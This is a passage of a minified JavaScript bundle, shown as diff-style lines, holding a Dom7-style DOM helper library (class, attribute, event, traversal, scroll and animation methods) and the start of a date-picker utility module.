e.toLowerCase().replace(/-(.)/g, function (e, t) { + return t.toUpperCase() + }) + } + + function p(e) { + if (u.window.requestAnimationFrame) return u.window.requestAnimationFrame(e); + else if (u.window.webkitRequestAnimationFrame) return u.window.webkitRequestAnimationFrame(e); + return u.window.setTimeout(e, 1e3 / 60) + } + + function v(e) { + if (u.window.cancelAnimationFrame) return u.window.cancelAnimationFrame(e); + else if (u.window.webkitCancelAnimationFrame) return u.window.webkitCancelAnimationFrame(e); + return u.window.clearTimeout(e) + } + + function _(e) { + if (typeof e === "undefined") { + return this + } + var t = e.split(" "); + for (var i = 0; i < t.length; i += 1) { + for (var n = 0; n < this.length; n += 1) { + if (typeof this[n] !== "undefined" && typeof this[n].classList !== "undefined") this[n].classList.add(t[i]) + } + } + return this + } + + function g(e) { + var t = e.split(" "); + for (var i = 0; i < t.length; i += 1) { + for (var n = 0; n < this.length; n += 1) { + if (typeof this[n] !== "undefined" && typeof this[n].classList !== "undefined") this[n].classList.remove(t[i]) + } + } + return this + } + + function y(e) { + if (!this[0]) return false; + return this[0].classList.contains(e) + } + + function b(e) { + var t = e.split(" "); + for (var i = 0; i < t.length; i += 1) { + for (var n = 0; n < this.length; n += 1) { + if (typeof this[n] !== "undefined" && typeof this[n].classList !== "undefined") this[n].classList.toggle(t[i]) + } + } + return this + } + + function w(e, t) { + if (arguments.length === 1 && typeof e === "string") { + if (this[0]) return this[0].getAttribute(e); + return undefined + } + for (var i = 0; i < this.length; i += 1) { + if (arguments.length === 2) { + this[i].setAttribute(e, t) + } else { + for (var n in e) { + this[i][n] = e[n]; + this[i].setAttribute(n, e[n]) + } + } + } + return this + } + + function M(e) { + for (var t = 0; t < this.length; t += 1) { + this[t].removeAttribute(e) + } + return this + } + + function k(e, t) { + if (arguments.length === 1 && typeof e === "string") { + if (this[0]) return this[0][e] + } else { + for (var i = 0; i < this.length; i += 1) { + if (arguments.length === 2) { + this[i][e] = t + } else { + for (var n in e) { + this[i][n] = e[n] + } + } + } + return this + } + } + + function L(e, t) { + var i = void 0; + if (typeof t === "undefined") { + i = this[0]; + if (i) { + if (i.dom7ElementDataStorage && e in i.dom7ElementDataStorage) { + return i.dom7ElementDataStorage[e] + } + var n = i.getAttribute("data-" + e); + if (n) { + return n + } + return undefined + } + return undefined + } + for (var r = 0; r < this.length; r += 1) { + i = this[r]; + if (!i.dom7ElementDataStorage) i.dom7ElementDataStorage = {}; + i.dom7ElementDataStorage[e] = t + } + return this + } + + function T(e) { + for (var t = 0; t < this.length; t += 1) { + var i = this[t]; + if (i.dom7ElementDataStorage && i.dom7ElementDataStorage[e]) { + i.dom7ElementDataStorage[e] = null; + delete i.dom7ElementDataStorage[e] + } + } + } + + function x() { + var e = this[0]; + if (!e) return undefined; + var t = {}; + if (e.dataset) { + for (var i in e.dataset) { + t[i] = e.dataset[i] + } + } else { + for (var n = 0; n < e.attributes.length; n += 1) { + var r = e.attributes[n]; + if (r.name.indexOf("data-") >= 0) { + t[m(r.name.split("data-")[1])] = r.value + } + } + } + for (var a in t) { + if (t[a] === "false") t[a] = false; + else if (t[a] === "true") t[a] = true; + else if (parseFloat(t[a]) === t[a] * 1) t[a] *= 1 + } + return t + } + + function S(e) { + var t = this; + if (typeof e === "undefined") { + if (t[0]) { + if (t[0].multiple && t[0].nodeName.toLowerCase() === "select") { + var i = []; + for (var n = 0; n < t[0].selectedOptions.length; n += 1) { + i.push(t[0].selectedOptions[n].value) + } + return i + } + return t[0].value + } + return undefined + } + for (var r = 0; r < t.length; r += 1) { + var a = t[r]; + if (Array.isArray(e) && a.multiple && a.nodeName.toLowerCase() === "select") { + for (var s = 0; s < a.options.length; s += 1) { + a.options[s].selected = e.indexOf(a.options[s].value) >= 0 + } + } else { + a.value = e + } + } + return t + } + + function Y(e) { + for (var t = 0; t < this.length; t += 1) { + var i = this[t].style; + i.webkitTransform = e; + i.transform = e + } + return this + } + + function D(e) { + if (typeof e !== "string") { + e = e + "ms" + } + for (var t = 0; t < this.length; t += 1) { + var i = this[t].style; + i.webkitTransitionDuration = e; + i.transitionDuration = e + } + return this + } + + function E() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + var n = t[0], + r = t[1], + a = t[2], + s = t[3]; + if (typeof t[1] === "function") { + n = t[0]; + a = t[1]; + s = t[2]; + r = undefined + } + if (!s) s = false; + + function o(e) { + var t = e.target; + if (!t) return; + var i = e.target.dom7EventData || []; + if (i.indexOf(e) < 0) { + i.unshift(e) + } + if (c(t).is(r)) a.apply(t, i); + else { + var n = c(t).parents(); + for (var s = 0; s < n.length; s += 1) { + if (c(n[s]).is(r)) a.apply(n[s], i) + } + } + } + + function l(e) { + var t = e && e.target ? e.target.dom7EventData || [] : []; + if (t.indexOf(e) < 0) { + t.unshift(e) + } + a.apply(this, t) + } + var u = n.split(" "); + var d = void 0; + for (var f = 0; f < this.length; f += 1) { + var h = this[f]; + if (!r) { + for (d = 0; d < u.length; d += 1) { + var m = u[d]; + if (!h.dom7Listeners) h.dom7Listeners = {}; + if (!h.dom7Listeners[m]) h.dom7Listeners[m] = []; + h.dom7Listeners[m].push({ + listener: a, + proxyListener: l + }); + h.addEventListener(m, l, s) + } + } else { + for (d = 0; d < u.length; d += 1) { + var p = u[d]; + if (!h.dom7LiveListeners) h.dom7LiveListeners = {}; + if (!h.dom7LiveListeners[p]) h.dom7LiveListeners[p] = []; + h.dom7LiveListeners[p].push({ + listener: a, + proxyListener: o + }); + h.addEventListener(p, o, s) + } + } + } + return this + } + + function C() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + var n = t[0], + r = t[1], + a = t[2], + s = t[3]; + if (typeof t[1] === "function") { + n = t[0]; + a = t[1]; + s = t[2]; + r = undefined + } + if (!s) s = false; + var o = n.split(" "); + for (var l = 0; l < o.length; l += 1) { + var u = o[l]; + for (var d = 0; d < this.length; d += 1) { + var f = this[d]; + var c = void 0; + if (!r && f.dom7Listeners) { + c = f.dom7Listeners[u] + } else if (r && f.dom7LiveListeners) { + c = f.dom7LiveListeners[u] + } + if (c && c.length) { + for (var h = c.length - 1; h >= 0; h -= 1) { + var m = c[h]; + if (a && m.listener === a) { + f.removeEventListener(u, m.proxyListener, s); + c.splice(h, 1) + } else if (!a) { + f.removeEventListener(u, m.proxyListener, s); + c.splice(h, 1) + } + } + } + } + } + return this + } + + function P() { + var e = this; + for (var t = arguments.length, i = Array(t), n = 0; n < t; n++) { + i[n] = arguments[n] + } + var r = i[0], + a = i[1], + s = i[2], + o = i[3]; + if (typeof i[1] === "function") { + r = i[0]; + s = i[1]; + o = i[2]; + a = undefined + } + + function l() { + for (var t = arguments.length, i = Array(t), n = 0; n < t; n++) { + i[n] = arguments[n] + } + s.apply(this, i); + e.off(r, a, l, o) + } + return e.on(r, a, l, o) + } + + function A() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + var n = t[0].split(" "); + var r = t[1]; + for (var a = 0; a < n.length; a += 1) { + var s = n[a]; + for (var o = 0; o < this.length; o += 1) { + var l = this[o]; + var d = void 0; + try { + d = new u.window.CustomEvent(s, { + detail: r, + bubbles: true, + cancelable: true + }) + } catch (e) { + d = u.document.createEvent("Event"); + d.initEvent(s, true, true); + d.detail = r + } + l.dom7EventData = t.filter(function (e, t) { + return t > 0 + }); + l.dispatchEvent(d); + l.dom7EventData = []; + delete l.dom7EventData + } + } + return this + } + + function O(e) { + var t = ["webkitTransitionEnd", "transitionend"]; + var i = this; + var n = void 0; + + function r(a) { + if (a.target !== this) return; + e.call(this, a); + for (n = 0; n < t.length; n += 1) { + i.off(t[n], r) + } + } + if (e) { + for (n = 0; n < t.length; n += 1) { + i.on(t[n], r) + } + } + return this + } + + function j(e) { + var t = ["webkitAnimationEnd", "animationend"]; + var i = this; + var n = void 0; + + function r(a) { + if (a.target !== this) return; + e.call(this, a); + for (n = 0; n < t.length; n += 1) { + i.off(t[n], r) + } + } + if (e) { + for (n = 0; n < t.length; n += 1) { + i.on(t[n], r) + } + } + return this + } + + function H() { + if (this[0] === u.window) { + return u.window.innerWidth + } + if (this.length > 0) { + return parseFloat(this.css("width")) + } + return null + } + + function I(e) { + if (this.length > 0) { + if (e) { + var t = this.styles(); + return this[0].offsetWidth + parseFloat(t.getPropertyValue("margin-right")) + parseFloat(t.getPropertyValue("margin-left")) + } + return this[0].offsetWidth + } + return null + } + + function F() { + if (this[0] === u.window) { + return u.window.innerHeight + } + if (this.length > 0) { + return parseFloat(this.css("height")) + } + return null + } + + function z(e) { + if (this.length > 0) { + if (e) { + var t = this.styles(); + return this[0].offsetHeight + parseFloat(t.getPropertyValue("margin-top")) + parseFloat(t.getPropertyValue("margin-bottom")) + } + return this[0].offsetHeight + } + return null + } + + function R() { + if (this.length > 0) { + var e = this[0]; + var t = e.getBoundingClientRect(); + var i = u.document.body; + var n = e.clientTop || i.clientTop || 0; + var r = e.clientLeft || i.clientLeft || 0; + var a = e === u.window ? u.window.scrollY : e.scrollTop; + var s = e === u.window ? u.window.scrollX : e.scrollLeft; + return { + top: t.top + a - n, + left: t.left + s - r + } + } + return null + } + + function N() { + for (var e = 0; e < this.length; e += 1) { + this[e].style.display = "none" + } + return this + } + + function W() { + for (var e = 0; e < this.length; e += 1) { + var t = this[e]; + if (t.style.display === "none") { + t.style.display = "" + } + if (u.window.getComputedStyle(t, null).getPropertyValue("display") === "none") { + t.style.display = "block" + } + } + return this + } + + function B() { + if (this[0]) return u.window.getComputedStyle(this[0], null); + return {} + } + + function q(e, t) { + var i = void 0; + if (arguments.length === 1) { + if (typeof e === "string") { + if (this[0]) return u.window.getComputedStyle(this[0], null).getPropertyValue(e) + } else { + for (i = 0; i < this.length; i += 1) { + for (var n in e) { + this[i].style[n] = e[n] + } + } + return this + } + } + if (arguments.length === 2 && typeof e === "string") { + for (i = 0; i < this.length; i += 1) { + this[i].style[e] = t + } + return this + } + return this + } + + function $() { + var e = []; + for (var t = 0; t < this.length; t += 1) { + e.push(this[t]) + } + return e + } + + function V(e) { + if (!e) return this; + for (var t = 0; t < this.length; t += 1) { + if (e.call(this[t], t, this[t]) === false) { + return this + } + } + return this + } + + function G(e) { + if (!e) return this; + for (var t = 0; t < this.length; t += 1) { + if (e.call(this[t], this[t], t) === false) { + return this + } + } + return this + } + + function U(e) { + var t = []; + var i = this; + for (var n = 0; n < i.length; n += 1) { + if (e.call(i[n], n, i[n])) t.push(i[n]) + } + return new f(t) + } + + function X(e) { + var t = []; + var i = this; + for (var n = 0; n < i.length; n += 1) { + t.push(e.call(i[n], n, i[n])) + } + return new f(t) + } + + function J(e) { + if (typeof e === "undefined") { + return this[0] ? this[0].innerHTML : undefined + } + for (var t = 0; t < this.length; t += 1) { + this[t].innerHTML = e + } + return this + } + + function K(e) { + if (typeof e === "undefined") { + if (this[0]) { + return this[0].textContent.trim() + } + return null + } + for (var t = 0; t < this.length; t += 1) { + this[t].textContent = e + } + return this + } + + function Q(e) { + var t = this[0]; + var i = void 0; + var n = void 0; + if (!t || typeof e === "undefined") return false; + if (typeof e === "string") { + if (t.matches) return t.matches(e); + else if (t.webkitMatchesSelector) return t.webkitMatchesSelector(e); + else if (t.msMatchesSelector) return t.msMatchesSelector(e); + i = c(e); + for (n = 0; n < i.length; n += 1) { + if (i[n] === t) return true + } + return false + } else if (e === u.document) return t === u.document; + else if (e === u.window) return t === u.window; + if (e.nodeType || e instanceof f) { + i = e.nodeType ? [e] : e; + for (n = 0; n < i.length; n += 1) { + if (i[n] === t) return true + } + return false + } + return false + } + + function Z(e) { + for (var t = 0; t < this.length; t += 1) { + if (this[t] === e) return t + } + return -1 + } + + function ee() { + var e = this[0]; + var t = void 0; + if (e) { + t = 0; + while ((e = e.previousSibling) !== null) { + if (e.nodeType === 1) t += 1 + } + return t + } + return undefined + } + + function te(e) { + if (typeof e === "undefined") return this; + var t = this.length; + var i = void 0; + if (e > t - 1) { + return new f([]) + } + if (e < 0) { + i = t + e; + if (i < 0) return new f([]); + return new f([this[i]]) + } + return new f([this[e]]) + } + + function ie() { + var e = void 0; + for (var t = 0; t < arguments.length; t += 1) { + e = arguments.length <= t ? undefined : arguments[t]; + for (var i = 0; i < this.length; i += 1) { + if (typeof e === "string") { + var n = u.document.createElement("div"); + n.innerHTML = e; + while (n.firstChild) { + this[i].appendChild(n.firstChild) + } + } else if (e instanceof f) { + for (var r = 0; r < e.length; r += 1) { + this[i].appendChild(e[r]) + } + } else { + this[i].appendChild(e) + } + } + } + return this + } + + function ne(e) { + c(e).append(this); + return this + } + + function re(e) { + var t = void 0; + var i = void 0; + for (t = 0; t < this.length; t += 1) { + if (typeof e === "string") { + var n = u.document.createElement("div"); + n.innerHTML = e; + for (i = n.childNodes.length - 1; i >= 0; i -= 1) { + this[t].insertBefore(n.childNodes[i], this[t].childNodes[0]) + } + } else if (e instanceof f) { + for (i = 0; i < e.length; i += 1) { + this[t].insertBefore(e[i], this[t].childNodes[0]) + } + } else { + this[t].insertBefore(e, this[t].childNodes[0]) + } + } + return this + } + + function ae(e) { + c(e).prepend(this); + return this + } + + function se(e) { + var t = c(e); + for (var i = 0; i < this.length; i += 1) { + if (t.length === 1) { + t[0].parentNode.insertBefore(this[i], t[0]) + } else if (t.length > 1) { + for (var n = 0; n < t.length; n += 1) { + t[n].parentNode.insertBefore(this[i].cloneNode(true), t[n]) + } + } + } + } + + function oe(e) { + var t = c(e); + for (var i = 0; i < this.length; i += 1) { + if (t.length === 1) { + t[0].parentNode.insertBefore(this[i], t[0].nextSibling) + } else if (t.length > 1) { + for (var n = 0; n < t.length; n += 1) { + t[n].parentNode.insertBefore(this[i].cloneNode(true), t[n].nextSibling) + } + } + } + } + + function le(e) { + if (this.length > 0) { + if (e) { + if (this[0].nextElementSibling && c(this[0].nextElementSibling).is(e)) { + return new f([this[0].nextElementSibling]) + } + return new f([]) + } + if (this[0].nextElementSibling) return new f([this[0].nextElementSibling]); + return new f([]) + } + return new f([]) + } + + function ue(e) { + var t = []; + var i = this[0]; + if (!i) return new f([]); + while (i.nextElementSibling) { + var n = i.nextElementSibling; + if (e) { + if (c(n).is(e)) t.push(n) + } else t.push(n); + i = n + } + return new f(t) + } + + function de(e) { + if (this.length > 0) { + var t = this[0]; + if (e) { + if (t.previousElementSibling && c(t.previousElementSibling).is(e)) { + return new f([t.previousElementSibling]) + } + return new f([]) + } + if (t.previousElementSibling) return new f([t.previousElementSibling]); + return new f([]) + } + return new f([]) + } + + function fe(e) { + var t = []; + var i = this[0]; + if (!i) return new f([]); + while (i.previousElementSibling) { + var n = i.previousElementSibling; + if (e) { + if (c(n).is(e)) t.push(n) + } else t.push(n); + i = n + } + return new f(t) + } + + function ce(e) { + return this.nextAll(e).add(this.prevAll(e)) + } + + function he(e) { + var t = []; + for (var i = 0; i < this.length; i += 1) { + if (this[i].parentNode !== null) { + if (e) { + if (c(this[i].parentNode).is(e)) t.push(this[i].parentNode) + } else { + t.push(this[i].parentNode) + } + } + } + return c(h(t)) + } + + function me(e) { + var t = []; + for (var i = 0; i < this.length; i += 1) { + var n = this[i].parentNode; + while (n) { + if (e) { + if (c(n).is(e)) t.push(n) + } else { + t.push(n) + } + n = n.parentNode + } + } + return c(h(t)) + } + + function pe(e) { + var t = this; + if (typeof e === "undefined") { + return new f([]) + } + if (!t.is(e)) { + t = t.parents(e).eq(0) + } + return t + } + + function ve(e) { + var t = []; + for (var i = 0; i < this.length; i += 1) { + var n = this[i].querySelectorAll(e); + for (var r = 0; r < n.length; r += 1) { + t.push(n[r]) + } + } + return new f(t) + } + + function _e(e) { + var t = []; + for (var i = 0; i < this.length; i += 1) { + var n = this[i].childNodes; + for (var r = 0; r < n.length; r += 1) { + if (!e) { + if (n[r].nodeType === 1) t.push(n[r]) + } else if (n[r].nodeType === 1 && c(n[r]).is(e)) { + t.push(n[r]) + } + } + } + return new f(h(t)) + } + + function ge() { + for (var e = 0; e < this.length; e += 1) { + if (this[e].parentNode) this[e].parentNode.removeChild(this[e]) + } + return this + } + + function ye() { + return this.remove() + } + + function be() { + var e = this; + var t = void 0; + var i = void 0; + for (var n = arguments.length, r = Array(n), a = 0; a < n; a++) { + r[a] = arguments[a] + } + for (t = 0; t < r.length; t += 1) { + var s = c(r[t]); + for (i = 0; i < s.length; i += 1) { + e[e.length] = s[i]; + e.length += 1 + } + } + return e + } + + function we() { + for (var e = 0; e < this.length; e += 1) { + var t = this[e]; + if (t.nodeType === 1) { + for (var i = 0; i < t.childNodes.length; i += 1) { + if (t.childNodes[i].parentNode) { + t.childNodes[i].parentNode.removeChild(t.childNodes[i]) + } + } + t.textContent = "" + } + } + return this + } + + function Me() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + var n = t[0], + r = t[1], + a = t[2], + s = t[3], + o = t[4]; + if (t.length === 4 && typeof s === "function") { + o = s; + n = t[0]; + r = t[1]; + a = t[2]; + o = t[3]; + s = t[4] + } + if (typeof s === "undefined") s = "swing"; + return this.each(function e() { + var t = this; + var i = void 0; + var l = void 0; + var u = void 0; + var d = void 0; + var f = void 0; + var c = void 0; + var h = void 0; + var m = void 0; + var v = r > 0 || r === 0; + var _ = n > 0 || n === 0; + if (typeof s === "undefined") { + s = "swing" + } + if (v) { + i = t.scrollTop; + if (!a) { + t.scrollTop = r + } + } + if (_) { + l = t.scrollLeft; + if (!a) { + t.scrollLeft = n + } + } + if (!a) return; + if (v) { + u = t.scrollHeight - t.offsetHeight; + f = Math.max(Math.min(r, u), 0) + } + if (_) { + d = t.scrollWidth - t.offsetWidth; + c = Math.max(Math.min(n, d), 0) + } + var g = null; + if (v && f === i) v = false; + if (_ && c === l) _ = false; + + function y() { + var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : (new Date).getTime(); + if (g === null) { + g = e + } + var n = Math.max(Math.min((e - g) / a, 1), 0); + var r = s === "linear" ? n : .5 - Math.cos(n * Math.PI) / 2; + var u = void 0; + if (v) h = i + r * (f - i); + if (_) m = l + r * (c - l); + if (v && f > i && h >= f) { + t.scrollTop = f; + u = true + } + if (v && f < i && h <= f) { + t.scrollTop = f; + u = true + } + if (_ && c > l && m >= c) { + t.scrollLeft = c; + u = true + } + if (_ && c < l && m <= c) { + t.scrollLeft = c; + u = true + } + if (u) { + if (o) o(); + return + } + if (v) t.scrollTop = h; + if (_) t.scrollLeft = m; + p(y) + } + p(y) + }) + } + + function ke() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + var n = t[0], + r = t[1], + a = t[2], + s = t[3]; + if (t.length === 3 && typeof a === "function") { + n = t[0]; + r = t[1]; + s = t[2]; + a = t[3] + } + var o = this; + if (typeof n === "undefined") { + if (o.length > 0) return o[0].scrollTop; + return null + } + return o.scrollTo(undefined, n, r, a, s) + } + + function Le() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + var n = t[0], + r = t[1], + a = t[2], + s = t[3]; + if (t.length === 3 && typeof a === "function") { + n = t[0]; + r = t[1]; + s = t[2]; + a = t[3] + } + var o = this; + if (typeof n === "undefined") { + if (o.length > 0) return o[0].scrollLeft; + return null + } + return o.scrollTo(n, undefined, r, a, s) + } + + function Te(e, t) { + var i = this; + var n = { + props: (0, s.default)({}, e), + params: (0, s.default)({ + duration: 300, + easing: "swing" + }, t), + elements: i, + animating: false, + que: [], + easingProgress: function e(t, i) { + if (t === "swing") { + return .5 - Math.cos(i * Math.PI) / 2 + } + if (typeof t === "function") { + return t(i) + } + return i + }, + stop: function e() { + if (n.frameId) { + v(n.frameId) + } + n.animating = false; + n.elements.each(function (e, t) { + var i = t; + delete i.dom7AnimateInstance + }); + n.que = [] + }, + done: function e(t) { + n.animating = false; + n.elements.each(function (e, t) { + var i = t; + delete i.dom7AnimateInstance + }); + if (t) t(i); + if (n.que.length > 0) { + var r = n.que.shift(); + n.animate(r[0], r[1]) + } + }, + animate: function e(t, a) { + if (n.animating) { + n.que.push([t, a]); + return n + } + var s = []; + n.elements.each(function (e, i) { + var a = void 0; + var o = void 0; + var l = void 0; + var d = void 0; + var f = void 0; + if (!i.dom7AnimateInstance) n.elements[e].dom7AnimateInstance = n; + s[e] = { + container: i + }; + (0, r.default)(t).forEach(function (n) { + a = u.window.getComputedStyle(i, null).getPropertyValue(n).replace(",", "."); + o = parseFloat(a); + l = a.replace(o, ""); + d = parseFloat(t[n]); + f = t[n] + l; + s[e][n] = { + initialFullValue: a, + initialValue: o, + unit: l, + finalValue: d, + finalFullValue: f, + currentValue: o + } + }) + }); + var o = null; + var l = void 0; + var d = 0; + var f = 0; + var c = void 0; + var h = false; + n.animating = true; + + function m() { + l = (new Date).getTime(); + var e = void 0; + var u = void 0; + if (!h) { + h = true; + if (a.begin) a.begin(i) + } + if (o === null) { + o = l + } + if (a.progress) { + a.progress(i, Math.max(Math.min((l - o) / a.duration, 1), 0), o + a.duration - l < 0 ? 0 : o + a.duration - l, o) + } + s.forEach(function (i) { + var h = i; + if (c || h.done) return; + (0, r.default)(t).forEach(function (i) { + if (c || h.done) return; + e = Math.max(Math.min((l - o) / a.duration, 1), 0); + u = n.easingProgress(a.easing, e); + var m = h[i], + p = m.initialValue, + v = m.finalValue, + _ = m.unit; + h[i].currentValue = p + u * (v - p); + var g = h[i].currentValue; + if (v > p && g >= v || v < p && g <= v) { + h.container.style[i] = v + _; + f += 1; + if (f === (0, r.default)(t).length) { + h.done = true; + d += 1 + } + if (d === s.length) { + c = true + } + } + if (c) { + n.done(a.complete); + return + } + h.container.style[i] = g + _ + }) + }); + if (c) return; + n.frameId = p(m) + } + n.frameId = p(m); + return n + } + }; + if (n.elements.length === 0) { + return i + } + var a = void 0; + for (var o = 0; o < n.elements.length; o += 1) { + if (n.elements[o].dom7AnimateInstance) { + a = n.elements[o].dom7AnimateInstance + } else n.elements[o].dom7AnimateInstance = n + } + if (!a) { + a = n + } + if (e === "stop") { + a.stop() + } else { + a.animate(n.props, n.params) + } + return i + } + + function xe() { + var e = this; + for (var t = 0; t < e.length; t += 1) { + if (e[t].dom7AnimateInstance) { + e[t].dom7AnimateInstance.stop() + } + } + } + var Se = "resize scroll".split(" "); + + function Ye(e) { + for (var t = arguments.length, i = Array(t > 1 ? t - 1 : 0), n = 1; n < t; n++) { + i[n - 1] = arguments[n] + } + if (typeof i[0] === "undefined") { + for (var r = 0; r < this.length; r += 1) { + if (Se.indexOf(e) < 0) { + if (e in this[r]) this[r][e](); + else { + c(this[r]).trigger(e) + } + } + } + return this + } + return this.on.apply(this, [e].concat(i)) + } + + function De() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["click"].concat(t)) + } + + function Ee() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["blur"].concat(t)) + } + + function Ce() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["focus"].concat(t)) + } + + function Pe() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["focusin"].concat(t)) + } + + function Ae() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["focusout"].concat(t)) + } + + function Oe() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["keyup"].concat(t)) + } + + function je() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["keydown"].concat(t)) + } + + function He() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["keypress"].concat(t)) + } + + function Ie() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["submit"].concat(t)) + } + + function Fe() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["change"].concat(t)) + } + + function ze() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["mousedown"].concat(t)) + } + + function Re() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["mousemove"].concat(t)) + } + + function Ne() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["mouseup"].concat(t)) + } + + function We() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["mouseenter"].concat(t)) + } + + function Be() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["mouseleave"].concat(t)) + } + + function qe() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["mouseout"].concat(t)) + } + + function $e() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["mouseover"].concat(t)) + } + + function Ve() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["touchstart"].concat(t)) + } + + function Ge() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["touchend"].concat(t)) + } + + function Ue() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["touchmove"].concat(t)) + } + + function Xe() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["resize"].concat(t)) + } + + function Je() { + for (var e = arguments.length, t = Array(e), i = 0; i < e; i++) { + t[i] = arguments[i] + } + return Ye.bind(this).apply(undefined, ["scroll"].concat(t)) + } + t.$ = c; + t.addClass = _; + t.removeClass = g; + t.hasClass = y; + t.toggleClass = b; + t.attr = w; + t.removeAttr = M; + t.prop = k; + t.data = L; + t.removeData = T; + t.dataset = x; + t.val = S; + t.transform = Y; + t.transition = D; + t.on = E; + t.off = C; + t.once = P; + t.trigger = A; + t.transitionEnd = O; + t.animationEnd = j; + t.width = H; + t.outerWidth = I; + t.height = F; + t.outerHeight = z; + t.offset = R; + t.hide = N; + t.show = W; + t.styles = B; + t.css = q; + t.toArray = $; + t.each = V; + t.forEach = G; + t.filter = U; + t.map = X; + t.html = J; + t.text = K; + t.is = Q; + t.indexOf = Z; + t.index = ee; + t.eq = te; + t.append = ie; + t.appendTo = ne; + t.prepend = re; + t.prependTo = ae; + t.insertBefore = se; + t.insertAfter = oe; + t.next = le; + t.nextAll = ue; + t.prev = de; + t.prevAll = fe; + t.siblings = ce; + t.parent = he; + t.parents = me; + t.closest = pe; + t.find = ve; + t.children = _e; + t.remove = ge; + t.detach = ye; + t.add = be; + t.empty = we; + t.scrollTo = Me; + t.scrollTop = ke; + t.scrollLeft = Le; + t.animate = Te; + t.stop = xe; + t.click = De; + t.blur = Ee; + t.focus = Ce; + t.focusin = Pe; + t.focusout = Ae; + t.keyup = Oe; + t.keydown = je; + t.keypress = He; + t.submit = Ie; + t.change = Fe; + t.mousedown = ze; + t.mousemove = Re; + t.mouseup = Ne; + t.mouseenter = We; + t.mouseleave = Be; + t.mouseout = qe; + t.mouseover = $e; + t.touchstart = Ve; + t.touchend = Ge; + t.touchmove = Ue; + t.resize = Xe; + t.scroll = Je + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(59); + var r = o(n); + var a = i(161); + var s = o(a); + + function o(e) { + return e && e.__esModule ? e : { + default: e + } + } + var l = function e(t) { + "use strict"; + var i = typeof t === "function", + n = !!window.addEventListener, + a = window.document, + s = window.setTimeout, + o = function e(t, i, r, a) { + if (n) { + t.addEventListener(i, r, !!a) + } else { + t.attachEvent("on" + i, r) + } + }, + l = function e(t, i, r, a) { + if (n) { + t.removeEventListener(i, r, !!a) + } else { + t.detachEvent("on" + i, r) + } + }, + u = function e(t) { + return t.trim ? t.trim() : t.replace(/^\s+|\s+$/g, "") + }, + d = function e(t, i) { + return (" " + t.className + " ").indexOf(" " + i + " ") !== -1 + }, + f = function e(t, i) { + if (!d(t, i)) { + t.className = t.className === "" ? i : t.className + " " + i + } + }, + c = function e(t, i) { + t.className = u((" " + t.className + " ").replace(" " + i + " ", " ")) + }, + h = function e(t) { + return /Array/.test(Object.prototype.toString.call(t)) + }, + m = function e(t) { + return /Date/.test(Object.prototype.toString.call(t)) && !isNaN(t.getTime()) + }, + p = function e(t) { + var i = t.getDay(); + return i === 0 || i === 6 + }, + v = function e(t) { + return t % 4 === 0 && t % 100 !== 0 || t % 400 === 0 + }, + _ = function e(t, i) { + return [31, v(t) ? 29 : 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31][i] + }, + g = function e(t) { + if (m(t)) t.setHours(0, 0, 0, 0) + }, + y = function e(t, i) { + return t.getTime() === i.getTime() + }, + b = function e(t, i, n) { + var a, s; + for (a in i) { + s = t[a] !== undefined; + if (s && (0, r.default)(i[a]) === "object" && i[a] !== null && i[a].nodeName === undefined) { + if 